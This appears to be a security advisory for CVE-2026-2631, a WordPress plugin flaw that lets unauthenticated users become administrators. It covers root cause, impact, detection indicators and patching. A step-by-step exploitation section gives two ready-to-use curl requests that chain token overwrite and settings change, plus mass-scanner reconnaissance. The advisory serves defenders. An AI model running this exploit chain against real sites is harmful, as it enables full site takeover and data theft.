CVE-2026-2631: 
WordPress vulnerability analysis and mitigation

CVE-2026-2631 is an unauthenticated privilege escalation vulnerability in the Datalogics Ecommerce Delivery WordPress plugin affecting all versions before 2.6.60. The flaw allows any remote, unauthenticated attacker to gain full administrative control over a WordPress installation by abusing an exposed REST endpoint. It was publicly disclosed on February 18, 2026, and assigned a CVSS v3.1 base score of 9.8 (Critical) (WPScan, NVD). The vulnerability was discovered and reported by researcher Khaled Alenazi (Nxploited) (WPScan).

The root cause is improper privilege management (CWE-269) in the plugin's REST API implementation. The plugin exposes an unauthenticated REST endpoint at /index.php?rest_route=/datalogics-0/v1/update-token that allows any remote user to set the datalogics_token WordPress option to an arbitrary value without any authentication or authorization check. This attacker-controlled token is then accepted as valid authentication by a second, nominally protected endpoint (/datalogics-0/v1/update-settings), which permits arbitrary update_option() calls. By chaining these two requests, an attacker can enable open user registration (users_can_register=1) and set the default role to administrator, effectively granting themselves full admin access upon self-registration (WPScan).

Successful exploitation grants an unauthenticated remote attacker complete administrative control of the affected WordPress site without any user interaction. With administrator-level access, an attacker can modify site content, install malicious plugins or themes, access sensitive user data, exfiltrate credentials, and potentially pivot to compromise the underlying server infrastructure. The integrity, confidentiality, and availability of the entire WordPress installation are fully compromised (WPScan, NVD).

A public proof-of-concept (PoC) exploit was published by the original researcher Khaled Alenazi on GitHub (GitHub PoC) and was noted in community reporting by late March 2026. A mass scanner tool targeting this CVE was also published (Mass Scanner), and the exploit was indexed on Sploitus (PacketStorm:218136), indicating active weaponization. The EPSS score is approximately 0.209%, and there is no current listing in the CISA KEV catalog. No specific threat actor attribution has been reported, but the availability of mass-scanning tools suggests opportunistic exploitation is likely (Feedly, WPScan).

1. Reconnaissance: Use tools like Shodan, Censys, or the published mass scanner (Mass Scanner) to identify WordPress sites running the Datalogics Ecommerce Delivery plugin version prior to 2.6.60.
2. Set arbitrary token: Send an unauthenticated POST request to the exposed REST endpoint to overwrite the datalogics_token option with an attacker-controlled value:

curl -X POST "http://example.com/index.php?rest_route=/datalogics-0/v1/update-token" \
  -H "Content-Type: application/json" \
  -d '{"token":"NXPOC-2026"}'

3. Perform privilege escalation: Use the attacker-set token to authenticate to the protected settings endpoint and enable open registration with Administrator as the default role:

curl -X POST "http://example.com/index.php?rest_route=/datalogics-0/v1/update-settings" \
  -H "Content-Type: application/json" \
  -d '{ "token":"NXPOC-2026", "settings":{ "users_can_register":"1", "default_role":"administrator" } }'

4. Register an admin account: Navigate to the WordPress registration page (/wp-login.php?action=register) and create a new account, which will automatically be assigned the Administrator role.
5. Achieve full site compromise: Log in with the newly created administrator account to install malicious plugins, exfiltrate data, or establish persistent backdoor access (WPScan, GitHub PoC).

• Network: Unexpected POST requests to /index.php?rest_route=/datalogics-0/v1/update-token and /index.php?rest_route=/datalogics-0/v1/update-settings from external IP addresses in web server access logs.
• Logs: WordPress debug or access logs showing REST API calls to datalogics-0/v1/ endpoints from unauthenticated sources; sudden changes to users_can_register and default_role options in the WordPress options table (wp_options).
• WordPress Database: The datalogics_token option in wp_options set to an unexpected or unknown value; users_can_register set to 1 and default_role set to administrator without administrator action.
• User Accounts: Newly created WordPress administrator accounts with no corresponding legitimate business activity, especially accounts registered shortly after suspicious REST API calls.
• File System: Presence of newly installed plugins or modified theme files by an unrecognized administrator account following the suspicious REST API activity.

The vendor has released a patched version: Datalogics Ecommerce Delivery 2.6.60. All site operators should upgrade to this version immediately (WPScan). If immediate patching is not possible, consider temporarily deactivating the plugin, restricting access to the REST API endpoints via a web application firewall (WAF) or network-level controls, and auditing the WordPress wp_options table for unexpected changes to users_can_register, default_role, and datalogics_token. Additionally, review all administrator accounts for unauthorized additions and revoke any suspicious accounts.

Wordfence included CVE-2026-2631 in their weekly WordPress vulnerability report for the week of March 9–15, 2026, highlighting it as a critical unauthenticated privilege escalation issue (Wordfence). The vulnerability was discussed on social media platforms including Mastodon and Bluesky shortly after disclosure. BrinzTech published an alert specifically noting the availability of a public PoC (BrinzTech), and the exploit was featured in a PoC weekly roundup for the week of March 23, 2026.